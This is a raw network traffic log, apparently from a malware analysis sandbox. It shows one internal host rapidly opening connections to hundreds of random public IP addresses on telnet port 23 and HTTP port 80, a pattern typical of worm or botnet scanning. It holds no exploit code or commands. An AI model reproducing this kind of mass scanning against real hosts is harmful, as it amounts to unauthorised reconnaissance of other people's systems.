Dec 3, 2024 21:47:27.406119108 CET	40955	23	192.168.2.13	104.8.162.68
Dec 3, 2024 21:47:27.406119108 CET	40955	23	192.168.2.13	164.171.153.153
Dec 3, 2024 21:47:27.406122923 CET	40955	23	192.168.2.13	98.124.218.173
Dec 3, 2024 21:47:27.406122923 CET	40955	23	192.168.2.13	115.193.244.138
Dec 3, 2024 21:47:27.406130075 CET	40955	23	192.168.2.13	86.130.32.150
Dec 3, 2024 21:47:27.406131983 CET	40955	23	192.168.2.13	120.163.230.97
Dec 3, 2024 21:47:27.406135082 CET	40955	23	192.168.2.13	17.213.54.148
Dec 3, 2024 21:47:27.406136990 CET	40955	23	192.168.2.13	178.198.61.239
Dec 3, 2024 21:47:27.406141043 CET	40955	23	192.168.2.13	212.232.56.198
Dec 3, 2024 21:47:27.406147003 CET	40955	23	192.168.2.13	184.79.192.47
Dec 3, 2024 21:47:27.406147003 CET	40955	23	192.168.2.13	12.244.17.182
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	178.115.195.247
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	13.235.160.98
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	156.170.249.236
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	4.79.222.64
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	20.34.85.210
Dec 3, 2024 21:47:27.406150103 CET	40955	23	192.168.2.13	118.135.15.190
Dec 3, 2024 21:47:27.406162024 CET	40955	23	192.168.2.13	197.243.139.15
Dec 3, 2024 21:47:27.406162024 CET	40955	23	192.168.2.13	220.4.32.125
Dec 3, 2024 21:47:27.406162977 CET	40955	23	192.168.2.13	42.226.137.122
Dec 3, 2024 21:47:27.406163931 CET	40955	23	192.168.2.13	86.11.191.33
Dec 3, 2024 21:47:27.406167030 CET	40955	23	192.168.2.13	27.117.15.88
Dec 3, 2024 21:47:27.406169891 CET	40955	23	192.168.2.13	18.237.53.38
Dec 3, 2024 21:47:27.406171083 CET	40955	23	192.168.2.13	38.193.3.54
Dec 3, 2024 21:47:27.406172037 CET	40955	23	192.168.2.13	59.147.30.255
Dec 3, 2024 21:47:27.406182051 CET	40955	23	192.168.2.13	120.131.128.148
Dec 3, 2024 21:47:27.406183004 CET	40955	23	192.168.2.13	51.11.231.159
Dec 3, 2024 21:47:27.406188965 CET	40955	23	192.168.2.13	106.170.152.160
Dec 3, 2024 21:47:27.406200886 CET	40955	23	192.168.2.13	126.186.20.102
Dec 3, 2024 21:47:27.406198978 CET	40955	23	192.168.2.13	117.179.206.174
Dec 3, 2024 21:47:27.406217098 CET	40955	23	192.168.2.13	197.34.121.227
Dec 3, 2024 21:47:27.406217098 CET	40955	23	192.168.2.13	155.206.253.129
Dec 3, 2024 21:47:27.406219959 CET	40955	23	192.168.2.13	45.205.158.4
Dec 3, 2024 21:47:27.406219959 CET	40955	23	192.168.2.13	159.175.183.41
Dec 3, 2024 21:47:27.406224966 CET	40955	23	192.168.2.13	83.210.118.40
Dec 3, 2024 21:47:27.406233072 CET	40955	23	192.168.2.13	5.81.143.56
Dec 3, 2024 21:47:27.406233072 CET	40955	23	192.168.2.13	176.2.76.35
Dec 3, 2024 21:47:27.406240940 CET	40955	23	192.168.2.13	133.5.91.233
Dec 3, 2024 21:47:27.406253099 CET	40955	23	192.168.2.13	95.172.101.90
Dec 3, 2024 21:47:27.406254053 CET	40955	23	192.168.2.13	213.41.17.51
Dec 3, 2024 21:47:27.406260967 CET	40955	23	192.168.2.13	217.87.67.207
Dec 3, 2024 21:47:27.406267881 CET	40955	23	192.168.2.13	179.150.184.204
Dec 3, 2024 21:47:27.406279087 CET	40955	23	192.168.2.13	184.44.78.88
Dec 3, 2024 21:47:27.406323910 CET	40955	23	192.168.2.13	170.180.232.173
Dec 3, 2024 21:47:27.406323910 CET	40955	23	192.168.2.13	151.132.84.27
Dec 3, 2024 21:47:27.406326056 CET	40955	23	192.168.2.13	149.10.65.36
Dec 3, 2024 21:47:27.406326056 CET	40955	23	192.168.2.13	135.55.201.59
Dec 3, 2024 21:47:27.406327009 CET	40955	23	192.168.2.13	94.215.84.168
Dec 3, 2024 21:47:27.406327009 CET	40955	23	192.168.2.13	207.112.101.109
Dec 3, 2024 21:47:27.406332970 CET	40955	23	192.168.2.13	208.46.152.225
Dec 3, 2024 21:47:27.406333923 CET	40955	23	192.168.2.13	111.117.247.152
Dec 3, 2024 21:47:27.406342030 CET	40955	23	192.168.2.13	212.183.136.90
Dec 3, 2024 21:47:27.406352043 CET	40955	23	192.168.2.13	197.142.12.245
Dec 3, 2024 21:47:27.406362057 CET	40955	23	192.168.2.13	195.164.80.160
Dec 3, 2024 21:47:27.406367064 CET	40955	23	192.168.2.13	70.164.171.121
Dec 3, 2024 21:47:27.406368017 CET	40955	23	192.168.2.13	79.100.101.47
Dec 3, 2024 21:47:27.406382084 CET	40955	23	192.168.2.13	205.0.74.224
Dec 3, 2024 21:47:27.406387091 CET	40955	23	192.168.2.13	9.30.251.91
Dec 3, 2024 21:47:27.406389952 CET	40955	23	192.168.2.13	180.243.48.23
Dec 3, 2024 21:47:27.406394005 CET	40955	23	192.168.2.13	202.86.232.9
Dec 3, 2024 21:47:27.406404972 CET	40955	23	192.168.2.13	100.224.199.88
Dec 3, 2024 21:47:27.406404972 CET	40955	23	192.168.2.13	162.255.48.129
Dec 3, 2024 21:47:27.406411886 CET	40955	23	192.168.2.13	178.64.29.232
Dec 3, 2024 21:47:27.406418085 CET	40955	23	192.168.2.13	209.2.144.37
Dec 3, 2024 21:47:27.406419039 CET	40955	23	192.168.2.13	27.19.184.1
Dec 3, 2024 21:47:27.406426907 CET	40955	23	192.168.2.13	132.245.17.122
Dec 3, 2024 21:47:27.406430960 CET	40955	23	192.168.2.13	90.248.101.241
Dec 3, 2024 21:47:27.406441927 CET	40955	23	192.168.2.13	117.169.240.63
Dec 3, 2024 21:47:27.406447887 CET	40955	23	192.168.2.13	113.98.72.137
Dec 3, 2024 21:47:27.406447887 CET	40955	23	192.168.2.13	32.197.105.38
Dec 3, 2024 21:47:27.406450033 CET	40955	23	192.168.2.13	139.174.46.52
Dec 3, 2024 21:47:27.406459093 CET	40955	23	192.168.2.13	108.164.130.145
Dec 3, 2024 21:47:27.444602966 CET	49348	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:27.444610119 CET	58752	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:27.444611073 CET	38866	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:27.444612026 CET	44958	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:27.444618940 CET	47870	80	192.168.2.13	155.105.23.33
Dec 3, 2024 21:47:27.444612026 CET	53096	80	192.168.2.13	167.27.167.164
Dec 3, 2024 21:47:27.444648027 CET	38160	80	192.168.2.13	40.170.153.39
Dec 3, 2024 21:47:27.444660902 CET	36530	80	192.168.2.13	66.104.233.206
Dec 3, 2024 21:47:27.526527882 CET	23	40955	98.4.232.126	192.168.2.13
Dec 3, 2024 21:47:27.526576996 CET	23	40955	92.94.1.85	192.168.2.13
Dec 3, 2024 21:47:27.526593924 CET	23	40955	114.44.204.145	192.168.2.13
Dec 3, 2024 21:47:27.526629925 CET	23	40955	200.183.42.1	192.168.2.13
Dec 3, 2024 21:47:27.526643038 CET	40955	23	192.168.2.13	92.94.1.85
Dec 3, 2024 21:47:27.526643038 CET	40955	23	192.168.2.13	98.4.232.126
Dec 3, 2024 21:47:27.526658058 CET	40955	23	192.168.2.13	114.44.204.145
Dec 3, 2024 21:47:27.526673079 CET	23	40955	158.111.83.144	192.168.2.13
Dec 3, 2024 21:47:27.526685953 CET	23	40955	159.118.209.191	192.168.2.13
Dec 3, 2024 21:47:27.526694059 CET	40955	23	192.168.2.13	200.183.42.1
Dec 3, 2024 21:47:27.526700974 CET	40955	23	192.168.2.13	158.111.83.144
Dec 3, 2024 21:47:27.526710033 CET	23	40955	220.241.103.70	192.168.2.13
Dec 3, 2024 21:47:27.526724100 CET	40955	23	192.168.2.13	159.118.209.191
Dec 3, 2024 21:47:27.526736021 CET	23	40955	208.155.202.194	192.168.2.13
Dec 3, 2024 21:47:27.526750088 CET	40955	23	192.168.2.13	220.241.103.70
Dec 3, 2024 21:47:27.526755095 CET	23	40955	111.135.26.60	192.168.2.13
Dec 3, 2024 21:47:27.526771069 CET	40955	23	192.168.2.13	208.155.202.194
Dec 3, 2024 21:47:27.526772022 CET	23	40955	111.17.136.170	192.168.2.13
Dec 3, 2024 21:47:27.526788950 CET	23	40955	181.176.207.202	192.168.2.13
Dec 3, 2024 21:47:27.526796103 CET	40955	23	192.168.2.13	111.135.26.60
Dec 3, 2024 21:47:27.526806116 CET	23	40955	107.144.224.112	192.168.2.13
Dec 3, 2024 21:47:27.526815891 CET	40955	23	192.168.2.13	111.17.136.170
Dec 3, 2024 21:47:27.526820898 CET	40955	23	192.168.2.13	181.176.207.202
Dec 3, 2024 21:47:27.526830912 CET	23	40955	118.184.193.96	192.168.2.13
Dec 3, 2024 21:47:27.526839018 CET	40955	23	192.168.2.13	107.144.224.112
Dec 3, 2024 21:47:27.526845932 CET	23	40955	203.241.189.53	192.168.2.13
Dec 3, 2024 21:47:27.526859999 CET	23	40955	188.185.14.87	192.168.2.13
Dec 3, 2024 21:47:27.526868105 CET	40955	23	192.168.2.13	118.184.193.96
Dec 3, 2024 21:47:27.526875973 CET	40955	23	192.168.2.13	203.241.189.53
Dec 3, 2024 21:47:27.526894093 CET	40955	23	192.168.2.13	188.185.14.87
Dec 3, 2024 21:47:27.526899099 CET	23	40955	91.33.110.59	192.168.2.13
Dec 3, 2024 21:47:27.526918888 CET	23	40955	74.7.53.48	192.168.2.13
Dec 3, 2024 21:47:27.526941061 CET	40955	23	192.168.2.13	91.33.110.59
Dec 3, 2024 21:47:27.526948929 CET	40955	23	192.168.2.13	74.7.53.48
Dec 3, 2024 21:47:27.527699947 CET	23	40955	14.33.81.29	192.168.2.13
Dec 3, 2024 21:47:27.527746916 CET	23	40955	101.129.157.244	192.168.2.13
Dec 3, 2024 21:47:27.527748108 CET	40955	23	192.168.2.13	14.33.81.29
Dec 3, 2024 21:47:27.527760983 CET	23	40955	105.69.163.28	192.168.2.13
Dec 3, 2024 21:47:27.527777910 CET	23	40955	219.229.202.202	192.168.2.13
Dec 3, 2024 21:47:27.527785063 CET	40955	23	192.168.2.13	101.129.157.244
Dec 3, 2024 21:47:27.527796030 CET	40955	23	192.168.2.13	105.69.163.28
Dec 3, 2024 21:47:27.527811050 CET	40955	23	192.168.2.13	219.229.202.202
Dec 3, 2024 21:47:27.527811050 CET	23	40955	36.240.251.84	192.168.2.13
Dec 3, 2024 21:47:27.527837038 CET	23	40955	194.130.4.34	192.168.2.13
Dec 3, 2024 21:47:27.527848005 CET	40955	23	192.168.2.13	36.240.251.84
Dec 3, 2024 21:47:27.527853966 CET	23	40955	129.165.189.74	192.168.2.13
Dec 3, 2024 21:47:27.527869940 CET	40955	23	192.168.2.13	194.130.4.34
Dec 3, 2024 21:47:27.527873993 CET	23	40955	84.88.245.224	192.168.2.13
Dec 3, 2024 21:47:27.527882099 CET	40955	23	192.168.2.13	129.165.189.74
Dec 3, 2024 21:47:27.527904987 CET	23	40955	138.215.32.116	192.168.2.13
Dec 3, 2024 21:47:27.527909994 CET	40955	23	192.168.2.13	84.88.245.224
Dec 3, 2024 21:47:27.527935982 CET	23	40955	8.111.185.80	192.168.2.13
Dec 3, 2024 21:47:27.527940989 CET	40955	23	192.168.2.13	138.215.32.116
Dec 3, 2024 21:47:27.527967930 CET	23	40955	136.112.143.95	192.168.2.13
Dec 3, 2024 21:47:27.527975082 CET	40955	23	192.168.2.13	8.111.185.80
Dec 3, 2024 21:47:27.527982950 CET	23	40955	213.229.15.195	192.168.2.13
Dec 3, 2024 21:47:27.528002024 CET	40955	23	192.168.2.13	136.112.143.95
Dec 3, 2024 21:47:27.528012991 CET	40955	23	192.168.2.13	213.229.15.195
Dec 3, 2024 21:47:27.528110027 CET	23	40955	140.109.122.112	192.168.2.13
Dec 3, 2024 21:47:27.528125048 CET	23	40955	223.26.176.147	192.168.2.13
Dec 3, 2024 21:47:27.528137922 CET	23	40955	196.109.102.160	192.168.2.13
Dec 3, 2024 21:47:27.528151989 CET	40955	23	192.168.2.13	140.109.122.112
Dec 3, 2024 21:47:27.528162003 CET	40955	23	192.168.2.13	223.26.176.147
Dec 3, 2024 21:47:27.528165102 CET	23	40955	78.255.186.93	192.168.2.13
Dec 3, 2024 21:47:27.528167009 CET	40955	23	192.168.2.13	196.109.102.160
Dec 3, 2024 21:47:27.528176069 CET	23	40955	38.44.169.230	192.168.2.13
Dec 3, 2024 21:47:27.528199911 CET	40955	23	192.168.2.13	78.255.186.93
Dec 3, 2024 21:47:27.528211117 CET	23	40955	91.150.181.25	192.168.2.13
Dec 3, 2024 21:47:27.528213024 CET	40955	23	192.168.2.13	38.44.169.230
Dec 3, 2024 21:47:27.528223991 CET	23	40955	59.139.212.86	192.168.2.13
Dec 3, 2024 21:47:27.528247118 CET	40955	23	192.168.2.13	91.150.181.25
Dec 3, 2024 21:47:27.528250933 CET	40955	23	192.168.2.13	59.139.212.86
Dec 3, 2024 21:47:27.528352022 CET	23	40955	89.72.121.200	192.168.2.13
Dec 3, 2024 21:47:27.528364897 CET	23	40955	148.93.94.102	192.168.2.13
Dec 3, 2024 21:47:27.528379917 CET	23	40955	61.5.216.20	192.168.2.13
Dec 3, 2024 21:47:27.528386116 CET	40955	23	192.168.2.13	89.72.121.200
Dec 3, 2024 21:47:27.528394938 CET	40955	23	192.168.2.13	148.93.94.102
Dec 3, 2024 21:47:27.528398037 CET	23	40955	180.196.199.29	192.168.2.13
Dec 3, 2024 21:47:27.528408051 CET	23	40955	208.227.218.199	192.168.2.13
Dec 3, 2024 21:47:27.528410912 CET	40955	23	192.168.2.13	61.5.216.20
Dec 3, 2024 21:47:27.528433084 CET	40955	23	192.168.2.13	180.196.199.29
Dec 3, 2024 21:47:27.528434038 CET	23	40955	81.77.245.134	192.168.2.13
Dec 3, 2024 21:47:27.528449059 CET	23	40955	106.83.162.39	192.168.2.13
Dec 3, 2024 21:47:27.528451920 CET	40955	23	192.168.2.13	208.227.218.199
Dec 3, 2024 21:47:27.528464079 CET	40955	23	192.168.2.13	81.77.245.134
Dec 3, 2024 21:47:27.528465986 CET	23	40955	41.104.158.200	192.168.2.13
Dec 3, 2024 21:47:27.528480053 CET	23	40955	89.131.83.207	192.168.2.13
Dec 3, 2024 21:47:27.528481007 CET	40955	23	192.168.2.13	106.83.162.39
Dec 3, 2024 21:47:27.528496981 CET	40955	23	192.168.2.13	41.104.158.200
Dec 3, 2024 21:47:27.528512955 CET	40955	23	192.168.2.13	89.131.83.207
Dec 3, 2024 21:47:27.528729916 CET	23	40955	170.209.227.255	192.168.2.13
Dec 3, 2024 21:47:27.528772116 CET	40955	23	192.168.2.13	170.209.227.255
Dec 3, 2024 21:47:27.528801918 CET	23	40955	130.225.224.26	192.168.2.13
Dec 3, 2024 21:47:27.528817892 CET	23	40955	182.220.135.7	192.168.2.13
Dec 3, 2024 21:47:27.528830051 CET	23	40955	149.165.145.34	192.168.2.13
Dec 3, 2024 21:47:27.528840065 CET	40955	23	192.168.2.13	130.225.224.26
Dec 3, 2024 21:47:27.528847933 CET	23	40955	13.31.164.77	192.168.2.13
Dec 3, 2024 21:47:27.528851986 CET	40955	23	192.168.2.13	182.220.135.7
Dec 3, 2024 21:47:27.528862000 CET	23	40955	221.123.75.223	192.168.2.13
Dec 3, 2024 21:47:27.528868914 CET	40955	23	192.168.2.13	149.165.145.34
Dec 3, 2024 21:47:27.528887987 CET	40955	23	192.168.2.13	13.31.164.77
Dec 3, 2024 21:47:27.528892040 CET	40955	23	192.168.2.13	221.123.75.223
Dec 3, 2024 21:47:27.528902054 CET	23	40955	39.117.95.254	192.168.2.13
Dec 3, 2024 21:47:27.528914928 CET	23	40955	136.171.69.237	192.168.2.13
Dec 3, 2024 21:47:27.528930902 CET	23	40955	78.16.170.173	192.168.2.13
Dec 3, 2024 21:47:27.528934956 CET	40955	23	192.168.2.13	39.117.95.254
Dec 3, 2024 21:47:27.528945923 CET	23	40955	212.230.53.122	192.168.2.13
Dec 3, 2024 21:47:27.528951883 CET	40955	23	192.168.2.13	136.171.69.237
Dec 3, 2024 21:47:27.528958082 CET	40955	23	192.168.2.13	78.16.170.173
Dec 3, 2024 21:47:27.528961897 CET	23	40955	154.61.79.246	192.168.2.13
Dec 3, 2024 21:47:27.528979063 CET	40955	23	192.168.2.13	212.230.53.122
Dec 3, 2024 21:47:27.528989077 CET	40955	23	192.168.2.13	154.61.79.246
Dec 3, 2024 21:47:27.528992891 CET	23	40955	176.31.83.2	192.168.2.13
Dec 3, 2024 21:47:27.529006958 CET	23	40955	155.33.207.125	192.168.2.13
Dec 3, 2024 21:47:27.529022932 CET	23	40955	195.110.103.65	192.168.2.13
Dec 3, 2024 21:47:27.529032946 CET	40955	23	192.168.2.13	176.31.83.2
Dec 3, 2024 21:47:27.529032946 CET	23	40955	93.55.135.113	192.168.2.13
Dec 3, 2024 21:47:27.529040098 CET	40955	23	192.168.2.13	155.33.207.125
Dec 3, 2024 21:47:27.529062986 CET	40955	23	192.168.2.13	195.110.103.65
Dec 3, 2024 21:47:27.529063940 CET	23	40955	196.196.13.114	192.168.2.13
Dec 3, 2024 21:47:27.529074907 CET	40955	23	192.168.2.13	93.55.135.113
Dec 3, 2024 21:47:27.529078007 CET	23	40955	95.146.94.244	192.168.2.13
Dec 3, 2024 21:47:27.529093981 CET	23	40955	173.145.133.81	192.168.2.13
Dec 3, 2024 21:47:27.529100895 CET	40955	23	192.168.2.13	196.196.13.114
Dec 3, 2024 21:47:27.529110909 CET	40955	23	192.168.2.13	95.146.94.244
Dec 3, 2024 21:47:27.529124022 CET	23	40955	211.89.196.93	192.168.2.13
Dec 3, 2024 21:47:27.529140949 CET	40955	23	192.168.2.13	173.145.133.81
Dec 3, 2024 21:47:27.529155970 CET	40955	23	192.168.2.13	211.89.196.93
Dec 3, 2024 21:47:27.564856052 CET	80	49348	13.92.149.139	192.168.2.13
Dec 3, 2024 21:47:27.564878941 CET	80	58752	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:27.564922094 CET	80	38866	53.2.196.30	192.168.2.13
Dec 3, 2024 21:47:27.564934969 CET	80	44958	75.254.147.50	192.168.2.13
Dec 3, 2024 21:47:27.565017939 CET	58752	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:27.565017939 CET	38866	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:27.565022945 CET	44958	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:27.565068007 CET	39419	80	192.168.2.13	182.221.105.216
Dec 3, 2024 21:47:27.565078974 CET	39419	80	192.168.2.13	149.244.161.140
Dec 3, 2024 21:47:27.565078974 CET	49348	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:27.565083027 CET	39419	80	192.168.2.13	150.135.116.253
Dec 3, 2024 21:47:27.565104961 CET	39419	80	192.168.2.13	114.53.31.45
Dec 3, 2024 21:47:27.565110922 CET	39419	80	192.168.2.13	69.127.8.189
Dec 3, 2024 21:47:27.565121889 CET	39419	80	192.168.2.13	176.238.85.24
Dec 3, 2024 21:47:27.565124035 CET	39419	80	192.168.2.13	159.83.89.246
Dec 3, 2024 21:47:27.565124989 CET	39419	80	192.168.2.13	132.246.192.131
Dec 3, 2024 21:47:27.565131903 CET	39419	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:27.565135002 CET	39419	80	192.168.2.13	191.37.14.71
Dec 3, 2024 21:47:27.565135002 CET	39419	80	192.168.2.13	106.183.152.217
Dec 3, 2024 21:47:27.565135956 CET	39419	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:27.565143108 CET	39419	80	192.168.2.13	137.250.231.79
Dec 3, 2024 21:47:27.565143108 CET	39419	80	192.168.2.13	140.108.113.8
Dec 3, 2024 21:47:27.565148115 CET	39419	80	192.168.2.13	209.58.67.54
Dec 3, 2024 21:47:27.565150976 CET	39419	80	192.168.2.13	160.36.227.64
Dec 3, 2024 21:47:27.565160036 CET	39419	80	192.168.2.13	160.2.94.180
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	85.88.118.212
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	84.247.215.51
Dec 3, 2024 21:47:27.565167904 CET	39419	80	192.168.2.13	178.229.20.10
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	147.2.236.82
Dec 3, 2024 21:47:27.565167904 CET	39419	80	192.168.2.13	208.131.85.194
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	201.245.118.0
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	155.47.227.176
Dec 3, 2024 21:47:27.565170050 CET	39419	80	192.168.2.13	141.202.3.190
Dec 3, 2024 21:47:27.565166950 CET	39419	80	192.168.2.13	41.144.63.212
Dec 3, 2024 21:47:27.565180063 CET	39419	80	192.168.2.13	151.126.24.131
Dec 3, 2024 21:47:27.565180063 CET	39419	80	192.168.2.13	206.59.153.16
Dec 3, 2024 21:47:27.565180063 CET	39419	80	192.168.2.13	209.236.218.75
Dec 3, 2024 21:47:27.565186024 CET	39419	80	192.168.2.13	174.123.61.86
Dec 3, 2024 21:47:27.565188885 CET	39419	80	192.168.2.13	162.229.15.140
Dec 3, 2024 21:47:27.565186024 CET	39419	80	192.168.2.13	149.192.88.211
Dec 3, 2024 21:47:27.565186024 CET	39419	80	192.168.2.13	125.212.192.20
Dec 3, 2024 21:47:27.565186024 CET	39419	80	192.168.2.13	168.57.131.132
Dec 3, 2024 21:47:27.565191031 CET	39419	80	192.168.2.13	32.158.118.249
Dec 3, 2024 21:47:27.565191031 CET	39419	80	192.168.2.13	4.170.133.226
Dec 3, 2024 21:47:27.565192938 CET	39419	80	192.168.2.13	147.166.69.150
Dec 3, 2024 21:47:27.565195084 CET	39419	80	192.168.2.13	112.235.33.143
Dec 3, 2024 21:47:27.565200090 CET	39419	80	192.168.2.13	54.241.191.8
Dec 3, 2024 21:47:27.565201044 CET	39419	80	192.168.2.13	126.185.110.60
Dec 3, 2024 21:47:27.565201044 CET	39419	80	192.168.2.13	165.53.187.56
Dec 3, 2024 21:47:27.565210104 CET	39419	80	192.168.2.13	172.67.1.90
Dec 3, 2024 21:47:27.565211058 CET	39419	80	192.168.2.13	109.236.246.196
Dec 3, 2024 21:47:27.565211058 CET	39419	80	192.168.2.13	172.119.49.33
Dec 3, 2024 21:47:27.565218925 CET	39419	80	192.168.2.13	18.167.199.98
Dec 3, 2024 21:47:27.565222025 CET	39419	80	192.168.2.13	41.179.124.29
Dec 3, 2024 21:47:27.565222979 CET	39419	80	192.168.2.13	111.201.141.75
Dec 3, 2024 21:47:27.565222979 CET	39419	80	192.168.2.13	220.21.47.116
Dec 3, 2024 21:47:27.565234900 CET	39419	80	192.168.2.13	148.208.86.25
Dec 3, 2024 21:47:27.565236092 CET	39419	80	192.168.2.13	66.181.22.0
Dec 3, 2024 21:47:27.565237999 CET	39419	80	192.168.2.13	60.75.155.68
Dec 3, 2024 21:47:27.565237999 CET	39419	80	192.168.2.13	144.152.115.151
Dec 3, 2024 21:47:27.565237999 CET	39419	80	192.168.2.13	91.150.182.197
Dec 3, 2024 21:47:27.565239906 CET	39419	80	192.168.2.13	64.6.7.234
Dec 3, 2024 21:47:27.565246105 CET	39419	80	192.168.2.13	95.30.82.94
Dec 3, 2024 21:47:27.565257072 CET	39419	80	192.168.2.13	147.8.234.167
Dec 3, 2024 21:47:27.565258026 CET	39419	80	192.168.2.13	201.212.188.203
Dec 3, 2024 21:47:27.565258026 CET	39419	80	192.168.2.13	199.254.198.149
Dec 3, 2024 21:47:27.565258026 CET	39419	80	192.168.2.13	74.141.5.34
Dec 3, 2024 21:47:27.565258980 CET	39419	80	192.168.2.13	218.15.43.254
Dec 3, 2024 21:47:27.565264940 CET	39419	80	192.168.2.13	60.205.133.191
Dec 3, 2024 21:47:27.565265894 CET	39419	80	192.168.2.13	141.201.114.144
Dec 3, 2024 21:47:27.565273046 CET	39419	80	192.168.2.13	32.146.117.101
Dec 3, 2024 21:47:27.565274000 CET	39419	80	192.168.2.13	70.177.113.151
Dec 3, 2024 21:47:27.565273046 CET	39419	80	192.168.2.13	102.101.193.199
Dec 3, 2024 21:47:27.565274000 CET	39419	80	192.168.2.13	120.9.210.155
Dec 3, 2024 21:47:27.565280914 CET	39419	80	192.168.2.13	105.116.154.234
Dec 3, 2024 21:47:27.565284967 CET	39419	80	192.168.2.13	211.190.61.203
Dec 3, 2024 21:47:27.565284967 CET	39419	80	192.168.2.13	125.126.185.128
Dec 3, 2024 21:47:27.565290928 CET	39419	80	192.168.2.13	188.8.13.124
Dec 3, 2024 21:47:27.565291882 CET	39419	80	192.168.2.13	174.36.142.175
Dec 3, 2024 21:47:27.565294027 CET	39419	80	192.168.2.13	144.231.140.252
Dec 3, 2024 21:47:27.565298080 CET	39419	80	192.168.2.13	124.223.207.69
Dec 3, 2024 21:47:27.565298080 CET	39419	80	192.168.2.13	146.61.162.6
Dec 3, 2024 21:47:27.565304041 CET	39419	80	192.168.2.13	78.42.79.22
Dec 3, 2024 21:47:27.565308094 CET	39419	80	192.168.2.13	35.207.251.213
Dec 3, 2024 21:47:27.565314054 CET	39419	80	192.168.2.13	204.87.164.48
Dec 3, 2024 21:47:27.565315008 CET	39419	80	192.168.2.13	81.16.193.153
Dec 3, 2024 21:47:27.565320969 CET	39419	80	192.168.2.13	185.133.162.188
Dec 3, 2024 21:47:27.565327883 CET	39419	80	192.168.2.13	107.180.207.168
Dec 3, 2024 21:47:27.565335035 CET	39419	80	192.168.2.13	8.212.237.255
Dec 3, 2024 21:47:27.565336943 CET	39419	80	192.168.2.13	73.104.245.230
Dec 3, 2024 21:47:27.565337896 CET	39419	80	192.168.2.13	199.40.178.71
Dec 3, 2024 21:47:27.565347910 CET	39419	80	192.168.2.13	77.175.99.3
Dec 3, 2024 21:47:27.565350056 CET	39419	80	192.168.2.13	97.238.239.9
Dec 3, 2024 21:47:27.565352917 CET	39419	80	192.168.2.13	48.222.25.39
Dec 3, 2024 21:47:27.565356016 CET	39419	80	192.168.2.13	34.67.207.41
Dec 3, 2024 21:47:27.565367937 CET	39419	80	192.168.2.13	69.255.198.243
Dec 3, 2024 21:47:27.565371037 CET	39419	80	192.168.2.13	58.164.36.237
Dec 3, 2024 21:47:27.565371037 CET	39419	80	192.168.2.13	60.245.178.116
Dec 3, 2024 21:47:27.565373898 CET	39419	80	192.168.2.13	149.44.123.189
Dec 3, 2024 21:47:27.565377951 CET	39419	80	192.168.2.13	183.97.143.10
Dec 3, 2024 21:47:27.565392017 CET	39419	80	192.168.2.13	96.161.237.140
Dec 3, 2024 21:47:27.565392971 CET	39419	80	192.168.2.13	85.251.185.83
Dec 3, 2024 21:47:27.565392971 CET	39419	80	192.168.2.13	1.30.196.168
Dec 3, 2024 21:47:27.565392971 CET	39419	80	192.168.2.13	174.7.123.236
Dec 3, 2024 21:47:27.565393925 CET	39419	80	192.168.2.13	212.196.138.169
Dec 3, 2024 21:47:27.565392971 CET	39419	80	192.168.2.13	148.112.193.30
Dec 3, 2024 21:47:27.565393925 CET	39419	80	192.168.2.13	34.85.91.105
Dec 3, 2024 21:47:27.565396070 CET	39419	80	192.168.2.13	50.111.135.122
Dec 3, 2024 21:47:27.565416098 CET	39419	80	192.168.2.13	128.134.141.245
Dec 3, 2024 21:47:27.565417051 CET	39419	80	192.168.2.13	151.210.54.118
Dec 3, 2024 21:47:27.565418005 CET	39419	80	192.168.2.13	80.39.9.108
Dec 3, 2024 21:47:27.565416098 CET	39419	80	192.168.2.13	173.35.184.1
Dec 3, 2024 21:47:27.565418005 CET	39419	80	192.168.2.13	184.44.129.51
Dec 3, 2024 21:47:27.565418005 CET	39419	80	192.168.2.13	220.55.227.198
Dec 3, 2024 21:47:27.565418959 CET	39419	80	192.168.2.13	197.172.61.224
Dec 3, 2024 21:47:27.565418005 CET	39419	80	192.168.2.13	198.146.183.13
Dec 3, 2024 21:47:27.565418959 CET	39419	80	192.168.2.13	141.254.37.212
Dec 3, 2024 21:47:27.565418959 CET	39419	80	192.168.2.13	116.146.74.0
Dec 3, 2024 21:47:27.565443039 CET	39419	80	192.168.2.13	135.211.133.189
Dec 3, 2024 21:47:27.565443039 CET	39419	80	192.168.2.13	221.251.10.153
Dec 3, 2024 21:47:27.565443039 CET	39419	80	192.168.2.13	135.197.79.192
Dec 3, 2024 21:47:27.565447092 CET	39419	80	192.168.2.13	192.193.212.130
Dec 3, 2024 21:47:27.565447092 CET	39419	80	192.168.2.13	131.86.36.193
Dec 3, 2024 21:47:27.565447092 CET	39419	80	192.168.2.13	222.104.36.130
Dec 3, 2024 21:47:27.565447092 CET	39419	80	192.168.2.13	13.171.21.131
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	213.139.64.33
Dec 3, 2024 21:47:27.565447092 CET	39419	80	192.168.2.13	141.153.203.76
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	202.58.125.184
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	107.102.135.67
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	207.184.2.126
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	186.24.214.5
Dec 3, 2024 21:47:27.565448999 CET	39419	80	192.168.2.13	209.123.137.215
